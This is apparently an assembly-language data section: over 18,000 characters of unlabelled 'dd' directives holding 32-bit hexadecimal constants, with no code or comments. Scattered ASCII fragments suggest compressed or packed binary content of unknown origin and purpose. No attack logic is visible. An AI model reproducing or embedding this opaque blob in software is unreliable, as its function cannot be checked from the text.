dd 7F609712h, 352DDD9h, 0CB2F11E2h, 0B9001A1Dh, 34FE67B3h
dd 0C07CE3B1h, 33DF3AAAh, 9900F6D8h, 4F25ABA4h, 0A7E6291h
dd 2064CA9Dh, 40A34590h, 5D35DE84h, 0B8A87805h, 0CA009394h
dd 2BA9FD7Bh, 0CC79F521h, 0BA218B08h, 0CC00CAEAh, 207EE51Ah
dd 0C128B709h, 88CC2C8h, 30EC2164h, 900A869Ah, 0C44EA9B2h
dd 10EB7309h, 0A61D030Ch, 121E3080h, 2EAD30D1h, 5201500Eh
dd 2A064054h, 698CBF6Bh, 18045944h, 0F8CC6085h, 0B8A6235Fh
dd 405D443Fh, 610076C4h
dd 2A7D4152h, 37DA929Eh, 4C9846D5h, 6340FBB8h, 0C71118A6h
dd 71859813h, 0ACC61D36h, 77270EA1h, 433F9037h, 61883998h
dd 211B0830h, 0A376F49h, 8FD306C0h, 204CA8B0h, 3090475Ch
dd 87433120h, 608F44BCh, 197D319h, 949B1A81h, 0E731A61Bh
dd 0BE14B0BEh, 0C894488Ch, 0F8CDC086h, 0C046A660h, 20B03122h
dd 2CB1F804h, 94820933h, 0F2FF206Dh, 0C0CA1F3Ch, 0F1F9057h
dd 54E49060h, 8C8C3838h, 66F8D304h, 3662F0A6h, 0F8CB6420h
dd 0F5B91DB0h, 46C2E7Dh, 8C779EE6h, 2A00B3CCh, 914120B2h
dd 1096F3h, 8148F2A7h, 3569C8E2h, 0C8DA9C3Bh, 6FA812A8h
dd 0A0421407h, 465E488Ah, 0A4730B33h, 0F65C044Eh, 0E2EC0852h
dd 5F606D64h, 0BE23CCE0h, 4C114Bh, 51E05775h, 498B006h
dd 929436C4h, 40CCA93h, 79A29CC0h, 93312001h, 0A0340217h
dd 0B780DC70h, 2E5B0265h, 8491C28Fh, 40D1F88Fh, 2D4887CCh
dd 63D984C4h, 72B2C07h, 3BFE4357h, 0C4C09905h, 4460878Ah
dd 9B94FCB5h, 468028B0h, 37087BCAh, 0C4919094h, 734D401Fh
dd 1BC6837h, 851464Fh, 2056B5A2h, 0FF06F478h, 58F9A607h
dd 0B9D1871h, 1692381Eh, 0BABB0213h, 90EF1049h, 899188h
dd 955128FBh, 4BBF2C0Fh, 85D07901h, 82C860A1h, 18305C60h
dd 685DB9DAh, 0BE75BB01h, 0F2607E52h, 0DDD73023h, 0E0C7AC00h
dd 0F1A5E94h, 31A80B5Ah, 14A00BDBh, 602D8357h, 10E4AA4Ch
dd 0E440207Fh, 0A27D4036h, 8C45340Dh, 6A20C923h, 280961EBh
dd 74A9C4B5h, 83181D80h, 888117BAh, 0B47102E6h, 245D8CAAh
dd 40EF2C69h, 8A9B17EDh, 40EDDA1Bh, 8C44E0E8h, 0A861C14Dh
dd 155B01h, 0F953C4B8h, 4A45B908h, 30C58802h, 8F113776h
dd 1C886990h, 376E4887h, 8482A3B4h, 40DCA085h, 0B27F2A94h
dd 4A1020D4h, 9CC16C06h, 201995EAh, 8328358Ah, 6D0238B6h
dd 8CC372A8h, 9E5C4858h, 0F41FEE3Eh, 6D853CBAh, 0F050650Ch
dd 0E688E870h, 7C75FA2Bh, 3BE1A1C2h, 8B10844Ah, 0DB098272h
dd 0E1D0318h, 0B2FD7900h, 0ECC37115h, 0C4C11272h, 76804932h
dd 32E01804h, 377A30C9h, 89909313h, 0D230F839h, 98176C37h
dd 3D0E8481h, 0C0199E7Ah, 0EFDA7724h, 3129601Eh, 47A9AA90h
dd 0C9115491h, 4122EF18h, 0A3033E48h, 0B6DAB5A5h, 9563B0F9h
dd 0CEF70088h, 0C465BB05h, 8230945Eh, 311EC086h, 0FC1548E3h
dd 44662E84h, 0F8914201h, 44228844h, 9C2F8C66h, 0C49A7098h
dd 0D211D76Eh, 0F9BF4420h, 9AD6005Dh, 5CD231A0h, 0B40055C4h
dd 4AC3D4C0h, 0A47AAA16h, 20D2FDF0h, 4638A061h, 0FD66D02h
dd 0C0DD928Ah, 0A43DD880h, 504122DCh, 6010AA32h, 35D8A06Bh
dd 62C4367Bh, 92C3888h, 7404E0A9h, 0AA9CD09Ah, 0B440F611h
dd 78DA1234h, 527802CCh, 0E8003C85h, 0A770574Ch, 0B1E58820h
dd 0F6C09BC0h, 46F098BAh, 0E0620270h, 3163BECFh, 5A901750h
dd 0FE8E0h, 0D52A2281h, 0EC83A9E4h, 0A8D226h, 0F5EDBE01h
dd 6C3442F2h, 0D98F0176h, 21A11696h, 0CB489E36h, 2708B8ACh
dd 0E4C41426h, 6D480D22h, 0F181014h, 0D81C5714h, 29CBB8C0h
dd 0D428BB3Ah, 4B02B026h, 0AA4DC385h, 0A4B8E0B3h, 8B7C9422h
dd 0C4A16ED7h, 58F59206h, 0CC93482Ch, 0C88C7834h, 0AFD4A057h
dd 25498412h, 39F2899Ch, 0E0205768h, 8502E546h, 36157CE0h
dd 17F4F781h, 0A0844405h, 0DABE1C1Ch, 0A7EAEECFh, 3A7037B8h
dd 3057F0E2h, 0D8298706h, 0B73E8CE4h, 0E52300DEh, 9C087481h
dd 144700FEh, 6089EF2Eh, 390B4E9Eh, 2B17913h, 37A6EA0h
dd 49008606h, 8C762BF0h, 4F5EC2h, 0B848D8DEh, 6A9BD464h
dd 5AB4770Bh, 674C2406h, 253CA482h, 50A8585Eh, 2D1DF77Eh
dd 991A2C0Ch, 4410C721h, 0F8A3634Fh, 0B1F18Eh, 5E9ED25Ah
dd 0DB556631h, 0BE8CFC13h, 8A91545Ah, 0D408A850h, 441262Dh
dd 0E3F7A4F9h, 314AB23Ch, 0C5F0CC12h, 3FA861C0h, 9896C4B9h
dd 102099F0h, 0A86BD375h, 9071380Fh, 0C1897F1Eh, 48025649h
dd 405A260Eh, 901D5A46h, 91FDC8CAh, 88B770h, 0D3BBDCAh
dd 0F6F58315h, 0BC7C6B24h, 0B806D006h, 495D3029h, 0E45030E9h
dd 0BEB7EA3Dh, 8A658059h, 6BC48556h, 75BB09EEh, 60026732h
dd 4C40D83h, 7C02CB46h, 99909537h, 4E132131h, 0E223798h
dd 0DCEE890Fh, 0EBF4CE63h, 0E47885CDh, 303AD052h, 9C3E4D23h
dd 870017A7h, 596E1B6h, 0C847493Fh, 0DAA216C7h, 44117Ch
dd 0C67BB3E7h, 12F1B36h, 459CAC9Bh, 84AF6102h, 27076C40h
dd 4194A144h, 0CDF0FDFFh, 6005D024h, 63D01983h, 79009113h
dd 0B2B1D2F5h, 0E851C53h, 0CAC13A5Dh, 7C83C343h, 870B0CC1h
dd 52A43E80h, 34D04029h, 9850FB1Fh, 0E19683B8h, 38818D7h
dd 267CC921h, 3CF2F709h, 770002Eh, 61858D91h, 0DBEE405Ah
dd 0A2900024h, 0A45459F1h, 0CAC7D301h, 0EC063B7Dh, 34B08DCFh
dd 0EA46A922h, 0C76D141Eh, 0B6E320EDh, 743A65FCh, 0DD001E23h
dd 95C66DB0h, 0EE140387h, 0D616BE44h, 732391A1h, 407B3A50h
dd 4882E9Bh, 67C2C16h, 0E8E28F43h, 0F08D22h, 9636C807h
dd 0EABF5B12h, 0D0836628h, 0EC5C6F2Ch, 80020712h, 40C46E14h
dd 449D16A4h, 0C0166975h, 801F87EFh, 2030C5FEh, 662940A3h
dd 9E8EBC15h, 0BB4501D0h, 37F92CC7h, 0DE24142Dh, 3681160h
dd 0CE7DC69Bh, 3CC81D9Fh, 5B9E00A0h, 8B47F949h, 9694BE1Ch
dd 0E0C0ACA5h, 789C02DFh, 3B31D290h, 0B0817C72h, 87818C7h
dd 79909137h, 4A4020C4h, 0A0A93770h, 8F56EB01h, 871126ADh
dd 9060D438h, 30182D83h, 44053CB3h, 0A4442990h, 80B5FB2Ch
dd 59A48AF1h, 33FF02D8h, 0AC601E71h, 0C8346DCh, 0DB68310h
dd 0DA199229h, 36C14D7Dh, 844BD840h, 0FD85501Ah, 0D81D6416h
dd 8D64D857h, 8958C309h, 3AF9F544h, 2C2F03Eh, 0C0C35040h
dd 0FD39373h, 0CF3EA7BCh, 0EE9E363h, 92572500h, 0FE2D4DE7h
dd 9B150023h, 0E2D1D925h, 0BD0783F2h, 6070B79h, 1F840F01h
dd 0B5893783h, 1A12293Dh, 0A103F88Bh, 0C609F090h, 1061201Ch
dd 192FE928h, 142DBD10h, 4E662E64h, 0E856036Ah, 20290E03h
dd 8945C35Eh, 166A2274h, 0C3564620h, 2BAB0061h, 0BF3F7BBAh
dd 0F115026h, 0FC030185h, 12D98D89h, 53016E7Eh, 0FF5FFEB6h
dd 798033B5h, 0A4CCC281h, 95F85EEAh, 53481F54h, 0C35B398Ch
dd 885C8911h, 53438019h, 49EC7AC3h, 668D248h, 0C0DBD29h
dd 0C885797Ch, 1BB159Ah, 0BD8BD3B7h, 915202ADh, 0FCB92089h
dd 0D1E7A75h, 85CCFE8Bh, 60E99537h, 0AF9C2514h, 84004C0Dh
dd 0EF014F03h, 3E290271h, 33037494h, 5BB98AB4h, 6937EA2Ah
dd 591C5146h, 4C8988C3h, 414017C4h, 7320C351h, 0E7CA5628h
dd 0F807970h, 2702628Ch, 9C83CF8Bh, 1C012C25h, 0D1C7DA81h
dd 7B42589Bh, 1088101Ch, 90BE0DD2h, 339884D6h, 0A0B4D100h
dd 0CB8BC974h, 0BD0B0C5Fh, 6A5408F9h, 0BF66100Fh, 462C52C3h
dd 0D9378A35h, 0EA28D180h, 0E4A580B0h, 6225E3F5h, 1277B90Ah
dd 281E019Dh, 0E3A0505Ch, 59811DF9h, 558823E3h, 44C35D0Eh
dd 18626C89h, 0C3554520h, 0AE4E00DAh, 0B966873Dh, 0F5492E99h
dd 89608054h, 0D2238195h, 0C190BE68h, 41678Dh, 376DADF8h
dd 5E826ED2h, 0E5712800h, 0EF1E981h, 5A2B1472h, 0A075D461h
dd 20B50128h, 0F3D0D29h, 38D35280h, 31614489h, 770D11E9h
dd 0D8CCF820h, 0C0004372h, 815B0824h, 2954AF8Dh, 3EF8720Bh
dd 5223C9D3h, 44C35A0Eh
dd 1A625489h, 0C3524220h, 0B76D1D2Dh, 679482A3h, 824CF58Ah
dd 8B059EC8h, 0CFD17B9h, 0FC576A3Ch, 5A838B8Fh, 0A27A1453h
dd 6187301Bh, 59310C0Fh, 0A2B42E0Bh, 682BF595h, 6A51BD73h
dd 0CDAF0C1Ah, 890CDDA4h, 19239519h, 5F1857BBh, 8923C372h
dd 1C117Ch, 0D8C35747h, 941BCD5h, 0E76F3EC7h, 22D119A5h
dd 0F2906B1h, 471F4A70h, 9D7988EFh, 802F32E9h, 6090A7E1h
dd 0FF04A832h, 69A9BE38h, 0EC8BE098h, 5B1B4D39h, 7EE8238Ah
dd 73181546h, 1DB15611h, 8B464383h, 6B301AA2h, 916E3813h
dd 3145AD02h, 9F68398Dh, 0D88B8068h, 0C929BDB5h, 3498036Bh
dd 9C00BF54h, 4DAD58DFh, 30D580EBh, 0F8C590Ah, 0B38B0681h
dd 7C0B7082h, 0B6D11866h, 0C9BF2752h, 8E1D6868h, 0BCD7283Ch
dd 2476AF42h, 430322CDh, 8EB5112Dh, 0C01AC827h, 4E175D23h
dd 0A1156102h, 82FFF883h, 0A0496C8h, 0EE103F0h, 7A114839h
dd 850D2871h, 4292FB1Dh, 1846848Bh, 0E21BD10h, 20A65926h
dd 0D7024014h, 0F8A6034Ch, 364C8C14h, 541A095Dh, 9F4C0174h
dd 0C7C25AF5h, 601844EEh, 9C6DD09h, 0D0FF2FB9h, 8C5BC02h
dd 0F236C064h, 0C81C5CEFh, 58C55060h, 182388CEh, 0C2ACD600h
dd 2A23A18Bh, 0F0D541BDh, 0E2813DC0h, 4CFB4A0Ah, 5CCD1292h
dd 9750CF8h, 11443512h, 2D195C74h, 0D8B83863h, 85B443DDh
dd 0AF3F1F7Dh, 0B3AD289Dh, 5BD3FF0Ah, 17C42258h, 0AFF12010h
dd 873019AAh, 0E995268Fh, 0B5A34086h, 0A14D7E19h, 14929410h
dd 506D2D79h, 6838CF59h, 0BAE0763Fh, 0D099C70Ah, 0E80CA210h
dd 37390Ah, 73ADCEAAh, 297592CDh, 8D23050Bh, 8E812981h
dd 1FDE4D0h, 9512C450h, 0F87D496Dh, 0BE1D1D89h, 1C851511h
dd 35F60422h, 2711130h, 0BA69B8FEh, 908F8989h, 0F395238Ch
dd 36686364h, 16D801FFh, 3381A97Eh, 9BAC11D9h, 1038591Fh
dd 7D08B66h, 0D635CA81h, 4AB8BF6h, 19919E1Fh, 128D1896h
dd 0E92AF965h, 0C85D352Dh, 0F8124D22h, 4E4B07B9h, 711DA68Dh
dd 3050B7BCh, 0F95DF158h, 303329FDh, 5F1815D9h, 103A695Ch
dd 1F5909B5h, 0BAC68082h, 8B22CCCEh, 667E04h, 85C780C0h
dd 6072E59h, 0FA41A184h, 843BC446h, 19020C4h, 8042E948h
dd 49183CD7h, 0AEBF0596h, 5844D1Ch, 88F3159Bh, 1D49A1B9h
dd 1BE2C013h, 965FB2Ah, 16AF850h, 0D34CE2A2h, 32A091CCh
dd 180049Dh, 32712885h, 0F52F4473h, 2AA119A4h, 367925BDh
dd 0EF606199h, 0ED427147h, 4C4346D6h, 2D10CB51h, 3F5F2429h
dd 0A7143A59h, 0E8B54C9Eh, 0FC028C19h, 0BD70EE92h, 9B9C07Bh
dd 85318010h, 0E90DD163h, 6B354A32h, 381823BFh, 4C954381h
dd 498C0F2Ch, 89AD03F2h, 8491584h, 0C0614DF2h, 859D8B60h
dd 5767279Ah, 2E686D34h, 896AEA55h, 3832D2BAh, 0C2CAB604h
dd 0A2F0276h, 0ABABD8CBh, 5016F0h, 45DA41B9h, 801B2CBEh
dd 9265D132h, 0C1602527h, 61F49B0h, 0AE53296h, 41B5610Ch
dd 42801B11h, 637ECBD2h, 564EB212h, 24813664h, 0DBEBF68Ch
dd 687E88BAh, 8074C44Ah, 0A6560AFBh, 1B03D108h, 189A3E59h
dd 0D220E905h, 2C8752Bh, 8BA8B7ECh, 906A0585h, 78A116CCh
dd 0E9199CC1h, 8D090510h, 0C11335B5h, 0CAC6B9B2h, 69FA826h
dd 7618692h, 0C20413CDh, 0B74153D6h, 90FD5529h, 9F93BFBFh
dd 0AE39A431h, 8DBE2BDDh, 0F38BF805h, 0B52F21F9h, 864ABF55h
dd 322F03F5h, 0B9660A44h, 432108D3h, 3FE0C181h, 7FB033B6h
dd 0FCE7F958h, 0D9E48FD9h, 0A48B3D2Fh, 0AAA02125h, 7D2D696Ah
dd 90AE5E8Dh, 22F94689h, 87AC12h, 8ED8D41Ch, 0C01B88DFh
dd 6E939D1Fh, 68271177h, 29021810h, 207D318Dh, 8009E86Ch
dd 3BF84F17h, 7F593545h, 0A02F7ED7h, 2733A19h, 82996FD0h
dd 1F879503h, 0F653165Ah, 440F2D2Eh, 5D89038Eh, 0BB50430Eh
dd 19200806h, 5B6009FBh, 0FA01D18Ah, 3B056815h, 502A1094h
dd 269E14FDh, 0A42196E0h, 0AAA004CAh, 0C7894E81h, 5F130833h
dd 1AC8098Eh, 0D2E04AC0h, 19A516D1h, 297F078Eh, 4C0839B1h
dd 0A690275Ch, 6E396DDAh, 5695808Bh, 4B1BC914h, 893D1810h
dd 2D1C650h, 96606A80h, 0D00DC86h, 0CE7E1C51h, 1389B639h
dd 0D40CD9BDh, 51B6214Fh, 19C1205Ah, 0B80E9BAAh, 7F0911E6h
dd 0B51201E0h, 0CDCF2359h, 64C519C8h, 0BE8BC680h, 890F2D1Ah
dd 5FB50F18h, 18636870h, 50B1BD13h, 48AA62ABh, 0F924B826h
dd 1E6508DDh, 933BF01h, 16955CA3h, 0BB4897C1h, 9923A534h
dd 0EDA9027Ah, 784C326Ah, 4D29B5FCh, 56438B2Eh, 0A58DAF53h
dd 93405FC1h, 24331840h, 0AC375D8Dh, 0FA9085Fh, 0DDC981C0h
dd 7BA32C35h, 143E59E7h, 1CF248A2h, 70EEA30h, 0BD9910A7h
dd 0FCA9E0AAh, 25C28C3Dh, 0E878830Fh, 4C952992h, 314F3831h
dd 20EA8051h, 19A99632h, 1E83145Fh, 31334A1Dh, 0E19533CDh
dd 7E6D3D10h, 29D010EBh, 2B8125B5h, 9659B9BAh, 142558B1h
dd 95811A47h, 0E032300Dh, 205DCA26h, 21DB26F4h, 0C6237EBFh
dd 0BC6F00Bh, 0B53C585h, 0BA9DC0FFh, 72801411h, 0ECF838BFh
dd 0E0237632h, 0D7640905h, 7F27795Bh, 0BF5280D8h, 747740DAh
dd 11355F48h, 80832FE9h, 164197CDh, 0E8A22CE1h, 0C6008C17h
dd 0B172A449h, 0CF12E9FCh, 18C0411Dh, 22118253h, 3E00CFFAh
dd 0C74B40A7h, 1C59B4D8h, 2936E930h, 1815D13Dh, 823150ACh
dd 10108101h, 5CE95F50h, 65C40EDAh, 0E80F1618h, 0F21DC5FEh
dd 0EA096FC5h, 0C0FC91D5h, 0BA4595FCh, 0E724A76Bh, 79FCB8DDh
dd 0B0C985DDh, 208531A0h, 0B2710841h, 18B9CEC4h, 0D9EDC024h
dd 0E9268E3Ah, 97AD9730h, 8017911Ch, 0F8DE134h, 190B67E8h
dd 5CBDB02Ch, 157B9332h, 33C0DD04h, 0DB8C8D0Fh, 0EB45619Dh
dd 2024B559h, 0F95D1DF0h, 0D6B719DFh, 0B03415EEh, 42E925F8h
dd 0F7251B90h, 0CFC61D83h, 5F40545Dh, 1C8C1AB8h, 0FBE770h
dd 567BC5F7h, 9158952Bh, 804290D8h, 3514D781h, 6A6F19E4h
dd 34318834h, 7B0503Dh, 47721582h, 0DDC58148h, 6208D026h
dd 8C660001h, 4C3F6DBh, 0FC444F90h, 0B2CDECC6h, 0C8AB08Eh
dd 9CA8B852h, 4FD89D5Eh, 99396378h, 46A0B79h, 1D106F04h
dd 0EE8164DBh, 88845BEh, 6804472Dh, 0EC18AC9Bh, 8B048A79h
dd 4F401EF0h, 7B266168h, 29E5802Fh, 60502887h, 6A537D84h
dd 18C25628h, 9875C085h, 0A684175h, 0DB876498h, 0D021D32Ah
dd 684C60A1h, 80E4E7A4h, 8B0420ADh, 895F889Dh, 0C43045Bh
dd 2B545CB5h, 3C70915h, 43ECE852h, 7020C28h, 0BBD8513h
dd 0AD6A9B62h, 2E0C4702h, 0A28BA4B5h, 2671411h, 0F7976845h
dd 0A80F92A5h, 67357310h, 28610C02h, 604D3275h, 6AA1B4B4h
dd 580C464Eh, 0BA314F86h, 60002BDDh, 855D9D33h, 0DE8B2CADh
dd 61260A10h, 0C2FA18AEh, 0EAF72F5Dh, 0AF725Fh, 0AEC082F0h
dd 60B7341Fh, 196BF600h, 0A8ECAB64h, 801BB131h, 8AF9A08Fh
dd 0AE00BB4Ch, 3678D6E0h, 7267A05h, 130FCD1Eh, 386325Fh
dd 0FB0975D1h, 5CFE450h, 17916F98h, 5D15C172h, 0FF640021h
dd 0C911B435h, 0C33D5206h, 25516477h, 0B82C6910h, 8183E205h
dd 0D3D97233h, 0B7614508h, 13197426h, 962B5F48h, 0A4E020E8h
dd 0BE00148Dh, 3136FBEDh, 80048595h, 0BD16805Fh, 6E97FFA1h
dd 88080BD7h, 3304012Dh, 5FD7DDBDh, 85B3DB67h, 411BE59h
dd 69BD89C0h, 40FC012Fh, 0BFC3F0Fh, 0A68F5264h, 8805FB4Eh
dd 9A00D58Ah, 4D8D2BC8h
dd 0FBC7C61Bh, 1245E4FFh, 8AE3E320h, 3D9CD15Bh, 4CE92820h
dd 0A840F917h, 6681C70Ch, 3FF17A4h, 0B866837Ah, 1AB20415h
dd 305C8BC3h, 51000362h, 7FED815Dh, 8B163B92h, 2431B883h
dd 18903038h, 4F5DCD89h, 94E5A130h, 0D5B584FCh, 756FB418h
dd 0B5A651D2h, 205067E0h, 5C56EE3Ah, 8C19E86Eh, 15EFA502h
dd 4E54988Fh, 8BF045Eh, 9D73036Eh, 0F80B2B5Ah, 0B86E68B9h
dd 55D70004h, 81640548h, 0BB000DF7h, 8685D465h, 70B640BAh
dd 33EAFA34h, 0ED0C5FE8h, 5868FBB8h, 75564D09h, 7981820Ah
dd 54010428h, 0F104E411h, 0B9000309h, 12A34DA6h, 334C44B8h
dd 0AB0F2E35h, 43D21D6h, 422F8108h, 2117AE27h, 0AAC8C220h
dd 7E666030h, 64E14CB8h, 45E2B909h, 1BE4D545h, 9B9D9760h
dd 0BD0C2D03h, 15F8167Fh, 9E3AE9CAh, 0DE01916Bh, 0C735382Eh
dd 16E85h, 65637845h, 0E697470h, 49206E6Fh, 72C2666Eh
dd 0C8E616Dh, 656C5003h, 2C9973CBh, 3A08BE20h, 68749F64h
dd 6C36E77Ch, 6977671Eh, 63E767E7h, 73F664A7h, 0EEE7FB28h
dd 64406D61h, 2EFBE352h, 0C6D2A3Ah, 16685420h, 0F679EC6Bh
dd 6F0AFE75h, 1F4040Dh, 467028C6h, 43627360h, 754C5254h
dd 0D1B3FF2Bh, 1E66699Eh, 0D8A06497h, 7970A18Fh, 696C08A8h
dd 61FE62F2h, 29647214h, 56424036h, 7352657Dh, 3D7F7F99h
dd 1ECA2579h, 63028743h, 0A44E496Bh, 4F70640Fh, 1F8E5455h
dd 0E86F7250h, 0B40F851Dh, 60F643Bh, 3D7469E6h, 1E210F87h
dd 8E502A6Fh, 1E751834h, 0B5BDD002h, 9949C632h, 9742411h
dd 32D0A8DFh, 46490EC8h, 0B8B02568h, 7CEF953Eh, 0A931D589h
dd 8BDF1902h, 0CA3C1207h, 7240B02h, 4178DF2Eh, 4A072229h
dd 0C4E32125h, 0EF216B6Fh, 216BBCC4h, 6BDAC4F7h, 0C3C4F321h
dd 0C4E7216Bh, 0EB216BCBh, 462AD2C4h, 0C69100Ch, 20A2E916h
dd 1329BD0Ah, 95953A91h, 19427E0Dh, 4118511h, 28F1958Bh
dd 0F8C28101h, 0FE9011Ch, 958D238Bh, 5230F164h, 0C3402834h
dd 0F73B5CD4h, 96045513h, 408B0CDFh, 9D8B45ECh, 4CC31345h
dd 654D06E1h, 84501118h, 54C8E343h, 583CEF44h, 0C8F34384h
dd 54E7445Ch, 0DD5A7DCh, 8A68AF68h, 4C5ACD0Ah, 4386EB0Ch
dd 90F321E7h, 64E3C8EFh, 240A54DFh, 11C21CD9h, 0AD07A131h
dd 0A1040723h, 0D506C32Ah, 406A24C4h, 30FB2924h, 0A46E4919h
dd 399601F0h, 0EBC18B60h, 508EB318h, 0E2960BE9h, 1A876012h
dd 20194E19h, 61193498h, 0E63404C2h, 60323D28h, 0F6040814h
dd 984FD12Ah, 61E9C324h, 0B58B21F8h, 818F8ED0h, 18F00CE6h
dd 8CEB94E9h, 810B19E8h, 543C64Fh, 0DD4B53Bh, 0E9860F39h
dd 0D820D851h, 0CFE622F2h, 66506FC0h, 1224C88Ch, 10C00A03h
dd 97582A1Bh, 0A811BB2Fh, 44D2285h, 0DB0A1886h, 67163F84h
dd 197B991Ch, 0CFC62404h, 82B1FA15h, 0F910907Ch, 0F1F7B19h
dd 0FE174C01h, 1CC0D502h, 3DE45253h, 0FCB18966h, 5C5B0209h
dd 4CAE0953h, 10858283h, 0BB88E043h, 0CBEF5398h, 4AE36480h
dd 0D0C4BCDBh, 0ECC7BC76h, 31324F75h, 0BA448B00h, 0C59829E6h
dd 7C068915h, 2FE51878h, 23333324h, 5BBD2901h, 9A391A2h
dd 243E8060h, 0BB4031EAh, 763AB7A1h, 0B101B01Ch, 1D13E98Ch
dd 0C88A07ACh, 2032C302h, 0BAACBD1h, 140D264h, 0C90A4A43h
dd 0DEE5D622h, 11DD1A23h, 8B521080h, 7AE657D4h, 0C033080Ah
dd 0AA0721E9h, 8D0A3F80h, 0A15A5FC2h, 565153BCh, 0DB0A32B9h
dd 3D4E10E9h, 0D3D1D800h, 5ABCC381h, 0B0374637h, 0B49469Fh
dd 8BE84497h, 595EC30Eh, 7B608A5Bh, 1911F969h, 5A2AEAACh
dd 47C02077h, 0A8DF21E7h, 0A8D8190Fh, 59293C04h, 0A2A844D4h
dd 0D605676h, 2179858Fh, 0A1716420h, 21F2BD06h, 3FE93889h
dd 9CC6757h, 2407E8Bh, 46F31705h, 2192899Bh, 0FE3C1419h
dd 8E1E46ACh, 88E430A3h, 8768E9AEh, 76A4DF69h, 4D007212h
dd 0B2B80C7Ah, 0A94527CAh, 7C1AE57h, 0D1203006h, 0A3B46C8h
dd 0F1820FF7h, 14EA488Dh, 94BD2808h, 0B828284Ch, 53512456h
dd 242C2013h, 0C5670C4Ah, 8483093Ch, 30049D11h, 320413D3h
dd 8C3C1D8h, 67751C85h, 595B1C02h, 9837885Eh, 47370108h
dd 81917BC1h, 950C5329h, 185122D4h, 60810D59h, 0A1880FC4h
dd 0C162E850h, 535224h, 7A4BCE2h, 2B7A0814h, 5A780C00h
dd 7306F081h, 613F0931h, 7DD3C08Bh, 7F11F873h, 80CD091Ah
dd 9EC74EC6h, 0E6350EC4h, 40EB149h, 0E6A2920Bh, 803016F2h
dd 0F9362435h, 0EC6460ECh, 4D3B2F93h, 43370065h, 0A6138369h
dd 14BD184Bh, 8CB5D86Eh, 3051B1B4h, 23CF3E6Eh, 0CC01001Ch
dd 7C85418Ah, 19690900h, 6E9B3B2h, 0D020B502h, 8CDCBED2h
dd 0BCCBDF4Ah, 0D8C019C8h, 0E4399A2Ah, 0F5703F6h, 665AF7BFh
dd 3404C799h, 3A9ACEADh, 2BE1B107h, 0F14580FFh, 3A7DBA04h
dd 14B94E80h, 2E40067h, 52506093h, 0B50775BAh, 310F79E8h
dd 4A8A4670h, 9058E25Ah, 3811B5C5h, 1C61088Eh, 87A7BE50h
dd 639329F3h, 13A21F88h, 6DAD34D1h, 3FE0EE6Ch, 0A95A228Fh
dd 8014AD05h, 0AFB2BFC5h, 1CB88894h, 5A06008Ch, 2D019D95h
dd 0A8135FCAh, 80B6C48Bh, 8C49FEE0h, 0A5F4AB0Fh, 40A2534Eh
dd 7D16E500h, 0BB79D298h, 0B967C500h, 453AEC71h, 80BBA259h
dd 0AF43F608h, 0F98B0258h, 0EB01CD61h, 11141061h, 3607164h
dd 0B589032Eh, 0ACE0A447h, 3D0B798h, 0A2D7BB00h, 0B96633E1h
dd 5ACA079Fh, 82E9E280h, 0B0D1D38Bh, 43CB4F25h, 29A36057h
dd 0EAE1AE0Bh, 7CD442AFh, 8F17DCD4h, 0C8480B3Ch, 9682A77Ah
dd 80C031C4h, 2976FE4h, 0F10C82C9h, 19A4801h, 7A3D5938h
dd 1FAF62B8h, 0C241E7FFh, 164C8C6Eh, 74D68070h, 0C7B8C2F5h
dd 37C688CDh, 0A0A62600h, 9A9C0CB6h, 9457E261h, 0CC101625h
dd 0B6040FFCh, 0C8FE0140h, 0D4BAB008h, 5F5E0212h, 26C60318h
dd 45F598A9h, 3FBAE804h, 43D8ED5Eh, 82615BD1h, 0D098E9D0h
dd 0A72D31D2h, 0CEEB60DDh, 0ED352673h, 76B4FCD8h, 0F60E42D6h
dd 14A72DEEh, 991D4D89h, 0A3801811h, 0AB210767h, 0F7B70F0Bh
dd 0F3510051h, 4CC28B59h, 0A48FEAE8h, 0DD9D39C1h, 0C5E660F2h
dd 3AABEA01h, 0BE44AAB5h, 0F04009F7h, 6DD9515Fh, 0C2C0DB1Dh
dd 0D6B6EAFEh, 0AD840186h, 8DF397C1h, 940B205Eh, 7947605Eh
dd 0A508B8C8h, 0C7005064h, 3078802Dh, 14D3233Ch, 0EB1A358Ch
dd 59725400h, 8B3834FFh, 355BF124h, 8D74BD28h, 8CC9EB05h
dd 0D5AC0517h, 0DF2BF301h, 80F81176h, 39974D1Eh, 0C33BE7Fh
dd 531D5FC6h, 8304E240h, 7048FDDh, 18D95E90h, 405E9E56h
dd 0CA855F1Dh, 0E4ECA700h, 0F6B0D04Eh, 2A6B783Bh, 156168h
dd 24848F31h, 0F5A9F29Ch, 3E34F00h, 295B701Ch, 75E80381h
dd 60627DE7h, 4E5F50BFh, 0F83F1064h, 71C09B61h, 3492F71Fh
dd 2E0970A0h, 80988285h, 670BDCFCh, 0D5312F73h, 0EF6B0966h
dd 7DD31180h, 23DF6406h, 18F9D70Fh, 1AC9C0EDh, 14DFAEAh
dd 8750BA99h, 0F0CF451Bh, 64F6BC9Bh, 40A36Fh, 0A8A619Dh
dd 88C60C70h, 0E128AF46h, 81B6323Dh, 62F994Eh, 3843A4E3h
dd 927A765h, 0E4200866h, 749F1FECh, 1EED0030h, 61A4D95Dh
dd 0CBAF3F00h, 87C32DE5h, 8C55039Ah, 0B6B8DE1h, 0F5F220F8h
dd 419D1A03h, 0D3869614h, 0BC95D18Ch, 0C448EFAh, 1804501Fh
dd 31FBC221h, 0A18C912h, 0C6E0EF5Eh, 98110780h, 0C3CBCF48h
dd 98060766h, 0A1ED4F30h
dd 1AA01818h, 0AD54D1FAh, 9EDE7E00h, 8A2966D9h, 3094A4D0h
dd 6530AF03h, 0EDF0C646h, 0C710A260h, 6FA1A71Ah, 0D584704Ch
dd 0C56B059Bh, 61BC8C20h, 44B70040h, 0AB20185Fh, 0D1E82EF1h
dd 6BA25218h, 1BCF929h, 0F8A460C7h, 526EE34Ah, 0B02089B0h
dd 2A5609B5h, 7F81224h, 202BEBC4h, 0DDCAC06Dh, 0A300AA13h
dd 0D88B37C0h, 19B40BB7h, 682F9BA4h, 0E0E330BBh, 66C86450h
dd 0D4E67D18h, 95F548h, 0EA2F9D57h, 0CEE57E63h, 35E618C3h
dd 0ADC1A761h, 0BC40B203h, 66FC16Bh, 9FFE66D8h, 0E600F896h
dd 307226F0h, 0C8B3446Ch, 9D428D29h, 27042295h, 2FD57D22h
dd 0AB410091h, 0AE430FECh, 3E153C2Fh, 3B083401h, 0E40E3AB1h
dd 207C3C5Bh, 0C33FBE07h, 0AD40AA85h, 45B89Fh, 0E5998C6h
